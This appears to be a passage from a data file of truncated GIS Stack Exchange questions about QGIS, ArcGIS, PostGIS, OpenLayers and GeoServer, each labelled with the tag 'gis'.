POSTGIS=""2.0.2 r10789"" GEOS=""3.3.6-CAPI-1.7.6"" PROJ=""Rel. 4.7.1, 23 September 2009"" LIBXML=""2.7.8"" i have geometries in consecutive order. Here is query: SELECT ... ",['gis'] "Title: Is there a significantly faster way to buffer than arcmap? Body: I hope this question is appropriate here and I apologize if it is more of a discussion question than a specific technical problem. I have to buffer 150,000 polygons for a real estate project. While ... ",['gis'] "Title: z-Coordinate and interpolation plugin in QGis Body: I've a csv file that includes weather stations locations (x,y,z) and precipitation values. I loaded the file by using add delimited text and then converted it into a point shapefile WS84. By using the ... ",['gis'] "Title: Elevation difference map using two DEM Body: I am studying glacier mass balance and have ASTER and SRTM DEMs. I want to make an elevation/volume change image such that it graphically represents changes in elevation difference in various parts of ... ",['gis'] "Title: How to create lines between pairs of two coordinates? Body: I have a table with pairs of points. Out of that I want to create a line layer (that keeps all attributes of the table). One line for each raw from point to point. I want to calculate the length of ... ",['gis'] "Title: Tilemill Dynamic Tile Generation Body: I have recently used Tilemill and I wish to implement it for dynamic tile rendering.As I've seen an CartoDB doing in cloud system,they can query & generate dynamic tile for request with UTFGrid. ... ",['gis'] "Title: How Could I Calculate Shortest Path ? Body: I am working on QGIS - 1.8 Version and frequently getting an error while using Road Graph and Shortest Path Opetions. Kindly Suggest or provide solution.. With Regards Prashant Persai ",['gis'] "Title: Geocoding rural addresses in Australia Body: For my research project at university I would like to geocode about 100-200 addresses in mostly rural areas in Australia. I'm having problems finding a suitable geocoding online service. Services ... ",['gis'] "Title: How to refresh a Combobox Add-in in ArcGIS 10.1 Body: I need to refresh the value in the combobox after an event from other tool in the same add-in (ARCGIS 10.1. Python). I've changed the value of the combobox with the code: combobox.value = val and I ... ",['gis'] "Title: ArcGIS 10.1 Network Analysis- How do I get appropriate network dataset? Body: I have acquired London road dataset from the Open Street Map however after creating and building the network dataset in ArcCatalogue the solve tool could not return the routes because of errors no ... ",['gis'] "Title: How to make survey lines within a polygon? Body: I am trying to figure out how to make survey lines within a polygon. So first I make a polygon. Now I need to fill this polygon with lines, where I can choose the spacing between the lines, and the ... ",['gis'] "Title: map script can not be showed into php Body: Excuse me, my friend.I want to ask about map script.I want to show map into php.I have created map file.but I have problem in the map script.I have done efforts to repair, but it is still error.Can ... ",['gis'] "Title: How can I do edit-and-continue in ModelBuilder? Body: I'm constructing a model in ModelBuilder, and I ran into an error with one of my tools. I fixed the error and want to continue running my model from that step onward without having to repeat the ... ",['gis'] "Title: Open Source Engine for Geocoding Body: I would create a service to geocode from existing shapefiles. I know that ArcEngine does not allow the creation of Windows Services. Is there an open source option someone could recommend? ",['gis'] "Title: Global projection with zero scale distortion at non-zero latitude Body: I am looking for a global projection with zero scale distortion at non-zero latitude. I have tried using an Oblique Mercator projection centred at a specific latitude and longitude of centre (with ... ",['gis'] "Title: QGIS - How to mask out features outside of the Coverage Layer for Atlas plugin [duplicate] Body: Using the Atlas plugin for qGIS how do I set the coverage so that it will only highlight the feature(s) I want but still show the surrounding features as grayed out areas? This would have been easy ... ",['gis'] "Title: Four band raster - ColorInterp of the IR band Body: I have a four band aerial photography raster. The bands contain Red, Green, Blue, and IR data. Using GDALInfo we get something like this currently: Band 1 Block=2933x1 Type=UInt16, ... ",['gis'] "Title: Splitting a branched river network at point layer Body: I need to split a country-scale river network (polyine) at certain barriers (point) so the length of (branched) river sections that have a certain minimum length. I used the following procedure: 1) ... ",['gis'] "Title: Implement a WFS Server using Geo tools Body: I need to implement a WFS Server using Geo tools, I have an application developed in Java using a spatial database. I wish to develop a WFS service using GeoTools. As a first step, I am implementing ... ",['gis'] "Title: R - Crop a pixel image produced by spatstat with a boundary shape Body: i am using the very good spatial statistic package spatstat to produce probability maps of spatial point patterns. Here is a simple working result from the examples to try out. require(spatstat) ... ",['gis'] "Title: Arcpy does not execute “CopyFeatures_Management” to write a featureclass to an ArcSDE database Body: I have some problems with my Python script. The script gets an JSON with different information about images. The information includes general information about images and also the gps position of ... ",['gis'] "Title: QGIS Routing between two Points without Roads Body: I'm using QGIS 1.8 and i need to analyze possible routes for roman roads. Is there a Possibility to show routes which comply special criteria, e.g. straightest way between two points, or path which is ... ",['gis'] "Title: How to convert lines from dxf to polygons? Body: I have several dxf files. Each file, contains the 0 layer. The 0 layer contains lines (which make a closed polygon). In each dxf the lines have their color and line width. I do not have autocad or ... ",['gis'] "Title: Clickable on DIV, not a POP-UP in Openlayers Body: I've tried everthing!! but I can't get my FEATUREINFO in a DIV... I'm newbie in javascript. That's my code... <code>map.events.register('click', map, function (e) { var url = ... ",['gis'] "Title: How to Georeference a tiff with correct coordinate system Body: I am having difficulty in georeferencing an existing tiff (already has georeference information - but is out of alignment). Using the georeference plug-in I can create the map's GCP in the 4 corners ... ",['gis'] "Title: QGIS 1.8 on Ubuntu 12.04 doesn't transform CRS properly Body: I have a weird QGIS-Problem that only occurs in Ubuntu 12.04, but not in Windows 7. I've also tried this on different Ubuntu-Computers. When I try to transform a layer with WGS84 to a different ... ",['gis'] "Title: How to connect waypoint pairs and calculate length? Body: I want to make a path out of points and calculate the distances of each single line. I have a point layer with waypoints of a research vessel. The way points have in the attribute table a date and a ... ",['gis'] "Title: AJAX WMS Request from Linux to Windows ArcGIS Server [duplicate] Body: I am trying to figure out a CORS header or cross domain issue but to no avial. We have an OpenLayer application hosted on a Linux server. However, it calls a WMS service that is hosted on a Windows ... ",['gis'] "Title: Which free/cheap tools can open ESRI Geodatabase Files? Body: Ok I don't need anything advanced, I just don't know anything about this GIS business. I'm trying to get local parcel information and the government site states it is in ""ESRI geodatabase format."" ... ",['gis'] "Title: Sort geometry + data table in ArcGIS with Permanently Sort Records (PSR) v1.0 Body: When i run the algorithm gives an error: Order_ ASCENDING # # # # Start Time: Fri Mar 01 17:06:33 2013 000576 ERROR: Script Associated with this tool does not exist. Failed to execute (sortrecords). ... ",['gis'] "Title: Exporting a USGS contour line shapefile to DWG or DXF Body: how do i assign the Z value based on the Elevation attribute? Using ArcGIS 10.1? I've been messing with this for an hour or two now and every time the exported DWG has ZERO for z value for all lines. ... ",['gis'] "Title: 3D elements buffer extrusion Body: I'm using ArcScene10.1 and I have a dataset containing of 3D points (x,y,z coordinates) with extrusion values (Evalue). Now I would like to create a square or ring buffer around the points and extrude ... ",['gis'] "Title: ESRI Javascript API: How to hide infoWindow while using measure tool? Body: In my Javascript API Web application I'm using the infoWindow to query a parcel layer and display display information in a popup when I click the parcel. I've set this functionality to turn on and off ... ",['gis'] "Title: Can not get text element to update? Body: I can not get text element to update? Text ELement has been added ""Subdivision"" Still not updating?.. class ButtonClass2(object): """"""Implementation for FemaMapper_addin.button (Button)"""""" def ... ",['gis'] "Title: filepath length errors in ArcMap Body: Is there a maximum directory or char length for file paths in ArcMap 10.0? I spent hours trying to trouble-shoot an untyped crash in both ArcMap and Catalog when trying to reclassify and subsequently ... ",['gis'] "Title: Which Software can derive building footprints from imagery? Body: I'm looking for a software solution that can process large areas of imagery to produce building footprints. For the area of interest, I can source either satellite stereo pairs or oblique imagery. I ... ",['gis'] "Title: Select Layer by Location - Arcpy - Why are my inputs being interpreted as invalid? Body: I am working on a tool in a python toolbox and am totally confused about what is going on and causing my select by location operation to fail (Error 000368). I am trying to select the features in one ... ",['gis'] "Title: Scanned Transparent Map Overlay Body: We have a flat file of 50 Geology maps that have a transparent overlay with faults and drill holes. I have them scanned and georeferenced as TIF images and they will be used in ArcGIS 10.0, 10.1 and ... ",['gis'] "Title: How to add a table into the TOC in a Python script? Body: I recently experienced some troubles in adding a table from a specific folder to the TOC using a Python script. Any idea on how can I solve? Thanks, Annalisa ",['gis'] "Title: View attributes on combobox in openJump Body: am trying to code a java class(plugin) that creates a popupmenuitem that brings multiple attributes of the selected layer on a combobox on openjump. am trying now to do the same as the ... ",['gis'] "Title: How to avoid duplicate GIDs when copying features from one PostGIS layer to another? Body: When I enter new elements (features) in another Postgres layer, I can do it in two ways: Drawing new element(s) (with 'Add feature') which I do rarely or Copying (or cutting) some elements from ... ",['gis'] "Title: Function for Selecting Points in a Polygon Body: I've been banging on this for a few hours, but since I'm relatively new to PostgreSQL and PostGIS, I can't find the solution. I'm trying to create a stored procedure (function) which will return all ... ",['gis'] "Title: How to add GeoTagged images to the map and store as KML Body: I have the requirement that i need to add a GeoTagged Image into the map and save that image in KML format. Give the approach to do this task. ",['gis'] "Title: Is it possible to create Tessellation table in schema other than sysspatial Body: As per geoserver teradata documentation, tessellation table is required in sys spatial schema only. My question is - Is it possible to configure geoserver to pick the tessellation table from a ... ",['gis'] "Title: how can I know which projection has this data? Body: I have data in an unknown projection to me. I open it in QGIS and I see that the shapes are ok, but I need to identify the projection in order to merge this data with other stuff. The points look ... ",['gis'] "Title: OpenLayers + GEOExt + extjs. VS OpenLayers+jquery Body: Could some one maybe tell me if there are any real benefits of using OpenLayers + GEOExt + extjs. as oppose to using only OpenLayers and maybe jquery for client side webgis apps? Edit: thanks for ... ",['gis'] "Title: How to Clear Parameters from Model Builder - ArcGIS Body: I'm attempting to clear out the parameters from my model so that the parameter locations don't show up in the tool when launched from ArcToolbox. ESRI's resource center has a couple of sentences ... ",['gis'] "Title: How to use directional shading on boundaries for cartographic effect? Body: The attached screenshot of a National Geographic map shows some beautiful directional shading of boundaries. I'm trying to reproduce this sort of shading for a burn perimeter map, as I want to ... ",['gis'] "Title: Raster Reclassify fails upon Completion in ArcGIS Body: When attempting to reclassify a raster in a student edition of ArcInfo 10, the program crashes without an error upon reaching 100%. The reclassified raster is written, but with no spatial info. I've ... ",['gis'] "Title: Failed attempt to relate a .csv file of 400 records to a single record in a point data layer Body: I have the Provincial Groundwater Monitoring Network as a point feature of 39 monitoring wells which includes an attribute for WELL ID. Each monitoring well then has a corresponding .csv file with 400 ... ",['gis'] "Title: Can I write a query in MapInfo to select points within a certain distance of each other? Body: Example: I have 400 points. I want to make 4 different groups (roughly 100 points each) and I want the groups to contain the points that are closest, spatially, to one another. ",['gis'] "Title: Slow performance on splitting a shapefile by attributes Body: I've tried to develop some workflows with the ArcPy module for splitting a shapefile based on the unique values in a specified field. The code works as expected except one thing I am not able to ... ",['gis'] "Title: Creating popupmenuitem that brings multiple attributes of the selected layer on a combobox on openjump Body: hey am trying to code a java class(plugin) that creates a popupmenuitem that brings multiple attributes of the selected layer on a combobox on openjump, i tried so many ways based on many existing ... ",['gis'] "Title: (How) do the modifiable areal unit problem and modifiable temporal unit problem interact? Body: I am reconstructing historical time series of land use and other related data from a variety of sources with different spatial and temporal resolutions and would be interested in what possible ... ",['gis'] "Title: Markers > 50000 Overlays on Openlayers [duplicate] Body: I would like to know the way to overlay 50000 markers on open layers. and would like to know how much can openlayers support? Thanks in Advance. Lakshmi Ramya. ",['gis'] "Title: Unknown Old Coordinate System of the Phillipines Body: I am reading a report made in 1979 and the coordinates show N 46,400 and E 47, 600. This is in the Philippines. Would anybody know what the coordinate system was used in this numbers? Thanks. ",['gis'] "Title: Majority filter (minimum mapping unit) in ArcGIS with larger window size Body: I want to run the majority filter in ArcGIS with a window size of 4 or 5 i.e. greater than the default 3. Is it possible? Or some other command (or tool) which might help me achieve that? thanks! ",['gis'] "Title: Where is the work in the GIS/RS consulting industry? Body: I'm trying to get an understanding of what type of GIS/RS work organizations are most often bidding out to consultants, and why? For example, is most of the freelance work in web mapping these days ... ",['gis'] "Title: Is there any software that can create a section slice from multiple 3D DFX meshes? Body: I am often creating eological cross section with Geosoft Target and ArcMap. Geosoft Target does a good job of generating a sectional slice from any 3D DXF (or other supported 3D mesh). Unfortunately ... ",['gis'] "Title: Unable to put data into infowindow Body: I've followed this tutorial to create a custom Google Map. I've included a few other elements such as linking it up to Wordpress and clustering the markers. It's all working great apart from the info ... ",['gis'] "Title: Can you reduce the number of contour lines? [duplicate] Body: Using QGIS, is it possible to reduce the number of contour lines in a hypsography (topographic) layer? Mine has them every 5 meters, which is more than I need and it makes the map awfully busy. ",['gis'] "Title: How to Convert Multiple Raster in to NettCDF in Arcmap 10.1? Body: My name is Paresh Chaudhary and I've worked in the field of Geometics since 2008. I have 30 day by day surface temperature images of MODIS, aqua satellite. Now i want to convert it into a NetCDF ... ",['gis'] "Title: Custom osm2po postprocessor to generate a node file and a way file Body: For a software component were using we need to provide 2 input files. One with a list of nodes (nodeId, lat, lon) and one with ways (fromNodeId, toNodeId, oneway, maxSpeed, lenght). To create these ... ",['gis'] "Title: Difference between a WMTS and a WMS? Body: What is the main difference between a Web Map Tile Service (WMTS) and a Web Map Service (WMS) When should you choose one over the other? What are the (dis)advantages by choosing one ... ",['gis'] "Title: How to use Google Maps geocoding with Openlayers? Body: I'm making a Openlayers map with some shapefile and I have Google Maps base layer. I want to create a text area and a button. When I input a address and click the button, the map should show me the ... ",['gis'] "Title: Create hachures from DEM in ArcGIS 10.1 Body: I have created contour lines from DEM and now I need to create hachures/bergstrich for them. I believe that spatial analyst should solve this, but I'm not used to it and I didint found any similar ... ",['gis'] "Title: Not seved chenges in Postgres from Opengeo API Body: I create my site like http://suite.opengeo.org/recipes/#app/wfs/commitedits but with my data from postgres(9.2). After chenged and press Save show error: Cannot read property 'features' of null. Also ... ",['gis'] "Title: How to manage a multiple dates in a single column? Body: I have data example an organizations, which consists sl.no, name of organization, facility type, latitude, longitude starting date of facility.My problem is for particular facility i had two or more ... ",['gis'] "Title: Prediction a point position Body: I don't know if you could help me in this: I have 7 points (x coordinate is known and variable) (y coordinate is known and fixed) each point represents a position of the same object in a specific ... ",['gis'] "Title: How can I create a multi layer exportable file (.xcf .psd) from multiple raster image in QGIS? Body: I have many raster file of the same zone but in differents spectral bands. I would like to create an exportable file of a small portion that can handle different layers. So in practice I would like to ... ",['gis'] "Title: If then statement in model builder for several features after a clip Body: I'm merging several databases and clipping out certain areas of interest. Sometimes there are no points that are clipped because there is nothing in the clip. I have each of the features output to a ... ",['gis'] "Title: Are there limitations with gdal virtual raster option? Body: I am new at Postgis and I'm groping... I pretend to rasterize some weighty vector layers in Postgis, do some map algebra and reclassification with them and visualize intermediate as well as final ... ",['gis'] "Title: Display county for random points Body: I have a county level shape file for South Carolina. I generated random points using Vector->Research Tools-> Random Points. The Attribute tables for the random points layer has only the ID included. ... ",['gis'] "Title: Create an animation that rotates around an central axis Body: I am looking to create an animation of a 3D model. I want the model to be the central object in the animation, so rotating around the model, always looking at the model. I am wondering what is the ... ",['gis'] "Title: Arc 10 Python .shp attributes - usings fields to populate other fields - if/then/else statement Body: Ive been looking for a solution and unable to find one so please help if able: I'm trying to avoid manually inputting Begin and End engineering station values already inputted into a seperate field. ... ",['gis'] "Title: Where is QGIS installation path in Ubuntu Body: I can't find the QGIS installation path in ubuntu 12.10 ",['gis'] "Title: UTM NAD 1927 to DMS Body: I have requirement to convert UTM NAD 1927 Northing (4804172), Esting(753352) to Geographic coordinatesystem(Degrees Minutes, Seconds). Iam doing like below m_mapPoint[0] = new ... ",['gis'] "Title: Get info from WMS layer with Openlayers mobile Body: I am trying to build a webapp for iPad using OpenLayers Mobile. One of the features it should have is that you can tap on a tree displayed on a basemap and get info about this tree. These trees are ... ",['gis'] "Title: Keep .gdb structure to postgresql + PostGIS (Feature dataset) Body: I have a .gdb file with a specific structure. I will extract all shp files for uploading to a postgtresql db. But I want to keep the structure of gdb. How can I keep this structure to ... ",['gis'] "Title: ArcGIS Server 10.1 - Cached tiles cut off features Body: I have a, ArcGIS MapServer with cached tiles. The problem I ran into is, that the features which are next to the MapServers extent are cut off. The image below should explain the issue. The blue line ... ",['gis'] "Title: QGIS: Label every other feature Body: How would I go about labelling every other feature in QGIS (1.8)? For example I have a set of contours every 10meters from 0m to 100m. How would I label only every 20meter contour? e.g. label ... ",['gis'] "Title: ArcGIS GeoRSS widget source code not recognizing com.esri.ags.portal package import Body: For some reason while attempting to import the com.esri.ags.portal.*, despite having the library imported in flex builder, it keeps on giving the error ""import cannot be found."" The strange thing is ... ",['gis'] "Title: How do I active “Open GRASS tools”-button? Body: I have opened to GRASS layers and need to use the ""Open GRASS tools""-button. This button remains unactivated somehow. Whilst the ""Edit GRASS vector layer"" right next to it works perfectly fine. What ... ",['gis'] "Title: Google Maps - Use fitBounds on KML polygon fusion table layer Body: I have seen example here how to use map.fitBounds on fusiontablelayer here and here , but I think it works with markers table only. Its impossible to parse the lat and long when the vertex coordinates ... ",['gis'] "Title: Is there a faster way to get unique values for a given FeatureClass in ArcObject? Body: I'm trying to count rows by unique values for a given FeatureClass. I'm using DataStatistics to get the unique values for a specific column for a given FeatureClass. This seems to be (very) slow with ... ",['gis'] "Title: Merging polygons at county level to state level Body: I have a shapefile that represents counties (admin 2) only, but I need to create a state level (admin 1) polygon file (I'm using QGIS). I will need to sum up (or average) the relevant data at each ... ",['gis'] "Title: Moveable ESRI / ArcGIS Identify Popup Window (Dojo) Body: I'm trying to get a popup window that identifies a location to be moveable. My code is similar to the API example: var popupOptions = { fillSymbol: new ... ",['gis'] "Title: How to add Oracle database connection to AnalyzeforMSD script? Body: I use this script right now: import os, arcpy directory = r""C:\Project"" for root, dirs, files in os.walk(directory): for myFile in files: fileExt = os.path.splitext(myFile)[1] if (fileExt ... ",['gis'] "Title: Why is there no Map.SnapToLevels property in the ESRI JS API? Body: The ESRI Silverlight and WPF API's both have a Map.SnapToLevels property that can be set on or off. It ""gets or sets whether zooming will snap to scale levels if the map contains cached layers"". But ... ",['gis'] "Title: Remove intersect of one polygon from another in R Body: I am trying to remove the intersect from Poly2 onto Poly1. Below are the coords of the 2 polygons. > coords1 [,1] [,2] [1,] 992.0161 7462.531 [2,] 950.1962 7413.532 [3,] 902.3632 ... ",['gis'] "Title: Are there any terms for using the QGIS in a company? Body: We are plannig to use the QGIS in our company to reduce software coasts.DO we have to take permission or make a payment? ",['gis'] "Title: Does time in GeoServer work? Body: I'm trying to replicate the time sample founded in the GeoServer User Manual here http://docs.geoserver.org/latest/en/user/googleearth/tutorials/time/time.html Here you are my GeoServer status ... ",['gis'] "Title: Black & White / Greyscale Maps and Illustrations Body: I think greyscale maps & illustrations (with geographic data) seem to be abandoned and the colour maps are mostly used nowadays. This is understandable and personally I also need less time to ... ",['gis'] "Title: PostGIS 2.0 st_geomfromgml using LineString fails with invalid GML representation Body: I am attempting to insert a geometry into a table using the st_geomfromgml function. The GML is being sourced from a Geoserver WFS request. The function call looks like this ... ",['gis'] "Title: How to draw nodes of a graph in Python and link them to a table? Body: I would like to draw some points with a Python GUI, like a graph, and link those points to a table. ",['gis'] "Title: Qgis OpenStreetMap plugin misbehaviour Body: I used the plugin successfully. But yesterday, after changing several buildings in JOSM. Import under qgis with the plugin does not work anymore. The buildings are in the layer point! Do you have any ... ",['gis'] "Title: Datatypes to return in GeoServer WPS Body: Is it possible, that my created WPS (in Geoserver) returns an image or a pdf (general: returns a datatype, that isn't a supported format by Geoserver). Is it sufficient to expand the ... ",['gis'] "Title: Can ArcGIS Desktop 9.3.1 open Geodatabase created using ArcGIS for Server 10.1? Body: can it possible to use old version of arcgIS desktop, say ver 9.3.1, if we develop a geodatabase using arcGIS 10.1. The above answers were very useful will make me to understand more on arcgis server, ... ",['gis'] "Title: Dynamic feature creation moves feature on zoom Body: I've been trying to create a feature programatically in OpenLayers, but the feature moves to 0,0 whenever I zoom in or out. This is just an ajax request, that filters a bunch of points using their ... ",['gis'] "Title: QGis different results between $length and measureing in the map Body: I use QGIS Lisboa and need the lenght of some shapefiles. When I use the field calculator the results are always around 30 % higher than in real, also than a measuring in the map. Does anybody have a ... ",['gis'] "Title: Point plus distance along great circle using RGeo or WKT Body: I'm racking my brains (and google) trying to figure out how to get RGeo to do the following geospatial calculation: Imagine I start off at some arbitrary geographic point (let's say (45, 45) which ... ",['gis'] "Title: Why 'Transparent' Parameter in OpenLayers is a Server Side Property? Body: There are four parameters for WMS Layers : Name, URL, Server Side Params, OpenLayer Options. And Transparent Parameter comes under Server Side Params. Does it mean that transparent images are ... ",['gis'] "Title: How to write Shapely geometries to shapefiles? Body: Can someone demonstrate a simple way to write geometry data-structures from shapely into shapefiles? I am particularly interested in polygons with holes and linestrings. It would also be beneficial to ... ",['gis'] "Title: Creating a Map with Spatial filtered layer on the fly Body: I have the following requirement. I created a web application with User accounts. based on the User type I need to filter certain point layer with a selected cities region. Ie , when user log in, ... ",['gis'] "Title: Tranform Lat/Long NASA points into raster Body: I have this irradiation file and I would like it to upload it in ArcMap in order to overlay it with other layers to do clips, intersections, etc? ... ",['gis'] "Title: Import Cad Annotation - unable to get an ArcGIS 9.2 script to function with ArcGIS 10.0 Body: Here is a snippet from the functioning ArcGIS 9.2 script: for item in lst_dxf_o_files: gp.MakeFeatureLayer_management(item + os.sep + 'Annotation', 'tmp_3rayon_lyr', ""UPPER(layer) ... ",['gis'] "Title: How do I generate a large number of maps? Body: I have to make a large number (hundreds) of distribution maps of species. I have a shapefile that contain the distributions for each species, and for each one, I would like to get a map as an image ... ",['gis'] "Title: trouble with i.landsat.toar failing to identify satellite Body: I am trying to use the i.landsat.toar tool on L7 bands. I have tried to use both the MTL and MTLold, but no matter what I try, it returns ""Failed to identify satellite."" What am I doing wrong? ",['gis'] "Title: What is the difference between the compact build and standard build of the ArcGIS JavaScript API? Body: I am creating a JSAPI application using version 3.2/3.3 and have recently gone through the page detailing the difference between the compact build and standard build. Right now, I am confused about ... ",['gis'] "Title: Can I create a custom Shapefile for SAS with QGIS? Body: Okay - I am in the process of configuring GIS within our organisation and am waiting for QGIS to be installed. My aim is to use QGIS to compile a custom shapefile of the business regions used by our ... ",['gis'] "Title: Geocoding raster map in ArcGIS 9.3.1 [closed] Body: How I do raster map geocoding? I have raster image and I am using ArcGIS 9.3.1 so how its' possible? ",['gis'] "Title: How does Quantum Gis work with Arcgis .xml files? Body: I'm not familiar to quantum gis, so can anyone explain if it is possible to import/export xml files in quantum gis? If it is possible, how can I do that? I exported some . xml recordset and workspace ... ",['gis'] "Title: 'File is too big' error when uploading QGIS Plugin Body: I have written a simple QGIS plugin which zooms the map canvas to a user specified UK postcode. I would like to share the plugin but the csv file, which contains stripped down OS Code-Point open data ... ",['gis'] "Title: Migrating code to 10.1 and recycled search Body: I am migrating 9.3 Desktop extension to 10.1 I am getting this bug when I am trying to update a row in the geodatabase ""Cannot call Store on a recycled row while editing"" And seems the reason is, I ... ",['gis'] "Title: Why don't I see ArcSDE service in the Windows services? Body: I've been thrown into learning how ArcSDE and ArcServer work. I'm trying to start a service using the default esri_sde on port 5151. I put it in both the ArcSDE and windows service files. When I go ... ",['gis'] "Title: Iterated field create to continue after failure Body: I am not a very good programmer and do not claim to be an expert in arc. I am going to try to explain this problem as clearly as possible and any solutions that you guys may have would be helpful. I ... ",['gis'] "Title: Slow composer load up and export to PDF or image not working Body: I am running QGIS 1.9 on a Mac OS 1.8.2. Been having a realy slow load up of my .qpt File. When scrolling in the map area its slow takes 30 minutes or so to change location. Also when saving to PDF or ... ",['gis'] "Title: Delete points outside a polygon with PostGis Body: I have to use PostGis because I have a very large database (more than 7 000 000 lines), but I am not used to work with PostGis; and since days, I would like to do that: Select and then delete all ... ",['gis'] "Title: Allocate places according to distance Body: I've asked this over on Stack Overflow but thought that someone may have a GI point of view that may help: As an over-simplified example I have a list of events that have a maximum attendance: ... ",['gis'] "Title: GetFeature request giving variable results Body: I have a map with a tilecache baselayer and a wms property layer. By clicking on a property a GetFeature request is done using OpenLayers.Protocol.WFS.fromWMSLayer for the protocol. A test version ... ",['gis'] "Title: How can I create a button to add a POI layer? Body: I am making a map of a city with openlayers. I have the shapefile data of the POI (hospital,bank,school etc.) I want to add the layers with buttons not in layerswitcher. Like whereis.com's quick ... ",['gis'] "Title: How can a GPS receiver know the estimated error? Body: I would like to plot a circle of possible error on the map in a GPS app. From http://en.wikipedia.org/wiki/Dilution_of_precision_(GPS), we can see that GDOP is equal to ""delta of output location"" ... ",['gis'] "Title: How to add attribute table to a Raster file in Quantum GIS [duplicate] Body: I have a raster file, in Quantum GIS, without attribute table but I need to add one attribute table with the information of the pixel values. I can compute the statistics with the histogram but i need ... ",['gis'] "Title: Populating Dropdown based on Geoserver service Body: I am new to web programming here. I have a table which has multiple columns including: Restaurant Name,Restaurant Id, Lat, Lon, City, District, Country. My requirement is to build a web client using ... ",['gis'] "Title: step by step tutorial for using pgrouting [duplicate] Body: I have installed pgrouting from source and want to use it to make myself familiar with it. Is there any step by step tutorial for beginners? I am trying to use this. But the database link given here ... ",['gis'] "Title: Industry-based examples of using Python in geoprocessing and arcpy Body: I was asked recently by some students what types of operations GIS Analyst/Developer are usually trying to automate by using Python with geoprocessing in ArcGIS and ArcPy site package. I guess it ... ",['gis'] "Title: Illustrator to QGIS workflow for vectors Body: I vectorized a map in Illustrator and would like to import it to QGIS now. I know I must use DXF for that purpose but when I convert the DXF to SHP with the QGIS plugin it is not georeferenced which ... ",['gis'] "Title: How do I stop null values from being assigned extreme color values? Body: I have a raster surface that I kriged in Surfer and imported to Grass GIS but when I view it in QGIS, the null values outside of the interpolated surface take an extreme value and wash out the ... ",['gis'] "Title: How to represent trend over time? Body: I have a time series of rasters where the cells of each raster represents some value at a certain time. I'd like to generate a map that highlights the magnitude of positive or negative trends in this ... ",['gis'] "Title: Best method to re-compile an Python Addin after editing script? Body: I have been developing a few python addins and I'm just wondering what is the best way to re-compile the addin anytime I edit the script. Currently, if I make an edit to the script, it seems like I ... ",['gis'] "Title: Visualization of a big graph in 3D from postgresql/postgis Body: We have a graph in 3D in a PostgreSQL/PostGIS database. It contains something like 50'000 edges and 50'000 vertices, with x-y coordinates and floors. We would like to visualize this graph with ... ",['gis'] "Title: Problems with Combining Layers in QGIS Body: I am trying to add the political boundaries baselayer from http://www.cec.org/Page.asp?PageID=924&ContentID=2336 and then on top add points where I gathered coordinates from Google Earth (using a ... ",['gis'] "Title: Draw two separate lines from A to B and B to A Body: I have an Origin-Destination table like this Origin Destination Value A B 10 B A 100 A C 120 ... For all the locations A, B, C... I have another table indicating their location (Lat and Lon) Is ... ",['gis'] "Title: How to change the format output from ftl Body: Hello everyone I have have a view in geoserver from postgres and I like the default free marker template output in Layer preview but I would like to change it to where to column names Field name and ... ",['gis'] "Title: Easting and Northing range in UTM Body: I'm working in the development of an user interface in which the user should be able to enter a UTM coordinate in the following format: I don't know much about these type of systems, but I ... ",['gis'] "Title: How to create a Google Maps with draggable routes with fixed markers Body: I have a webapp where I show a route on a map, I pass two address and show the route on map, so I'd like that this route should be draggable but the points A and B shoud be fixed. How to do this? ",['gis'] "Title: How to write GML parser with Geotools? Body: I wrote a Parser for a GML file from the OS Mastermap with geotools 8.4. With one part I still have a problem. This sniplet of the xsd: <complexType name=""RoadLinkType""> ... ",['gis'] "Title: Executing Styles based on rule Geoserver Body: I would like to execute a style based on some parameter passed through WMS Rest request. What I am trying to achieve is, while requesting the tile, I want a particular country to be filled in separate ... ",['gis'] "Title: Importing Lat/Long coordinates as CSV file & only displaying single point in QGIS Body: I am using QGIS and trying to import Lat/Long coordinates as delimited text layer. All points show up in my attribute table, however, only one point is displayed on the map? Any ideas? ",['gis'] "Title: Renaming a field using arcpy Body: What I need to do: rename a field name of a table/feature class copy all values to the new field So far I have done following code as artwork21 suggests: EDIT: import sys import traceback import ... ",['gis'] "Title: Sequoia 2000 Benchmark data? Body: In reading about DBSCAN clustering it mentions the SEQUOIA 2000 Benchmark database was used for benchmarking. Is this data set available anywhere? Or, is there another set like it? So far my ... ",['gis'] "Title: Why does my 113th Congress Shapefile match up with the wrong districts across the country? Body: I downloaded a Shapefile from the Census on the 113th congress broken down by district nationally: http://www2.census.gov/geo/tiger/TIGERrd13_st/nation/tl_rd13_us_cd113.zip Within the .dbf file, ... ",['gis'] "Title: Best Way to Handle Many Raster Files in QGIS? Body: I have a project with a large number of raster files, but it is becoming very slow. I wonder which is the best way to handle all this. I'm simply georeferencing these files creating .wld file (geoTiff ... ",['gis'] "Title: how to connect points to create a polygon boundary in QGIS Body: I have 31 points in a shapefile, which delimit a field (it's an irregular shape). I want to connect those points so they create the boundary of a polygon. Does anybody know a kind of ""connect the ... ",['gis'] "Title: Get feature from two overlapping KML layers doesn't work Body: I did an implementation similar to http://openlayers.org/dev/examples/sundials.html The difference is that I have two or more kml layers at the same location and want to show their information ... ",['gis'] "Title: OpenLayers and GeoJSON - problem projecting EPSG:4326 Body: I'm trying to project some GeoJSON data but it ends up at 0,0. I've looked at other posts and tried those solutions to no avail. Can anyone help? Here is the code: <html> <head> ... ",['gis'] "Title: Making tracking data available to Geoserver Body: I have tracking data from GPS, which gives latitude, longitude, heading, etc. Right now it's stored in a non-standard database (Accumulo) and I'm looking into how best to make the data available for ... ",['gis'] "Title: Can I import another model into my model in Modelbuilder? Body: I am new here and new to Modelbuilder. I have been trying to create a toolbox. I have managed to branch down the tool into simple models in Modelbuilder but in most cases I can not combine my models ... ",['gis'] "Title: How to setCenter for polylines and polygons?‏ Body: I'm using this to center my points in the map screen: var centerPoint = new OpenLayers.LonLat(feature.geometry.x, feature.geometry.y); map.setCenter(centerPoint); what should I use to center ... ",['gis'] "Title: ArcGlobe Disable texture downscaling programmatically (with ArcPy) Body: I am trying to automate the disabling texture downscaling for all of the multipatch features in an existing ArcGlobe project (.3dd). The manual way to turn off this feature for every feature without ... ",['gis'] "Title: Are there any work-arounds for WMS width and height limit when printing? Body: I get the following error when trying to export in QGIS to PDF: ""Some WMS servers (e.g. UMN mapserver) have a limit for the WIDTH and HEIGHT parameter. Printing layers from such servers may exceed ... ",['gis'] "Title: Postgis shapfile and DBF loader 2.0 problem windows Body: I am trying to import a shapefile with polygons into Postgis (Windows 2008 server). If I import 100 polygons it works fine. If I try to import the full map of 8,100 polygons, about halfway I get an ... ",['gis'] "Title: What are Bands, Dimensions, and Histograms in QGIS? Body: First; I can see a band as synonymous with a channel in an image editing program like 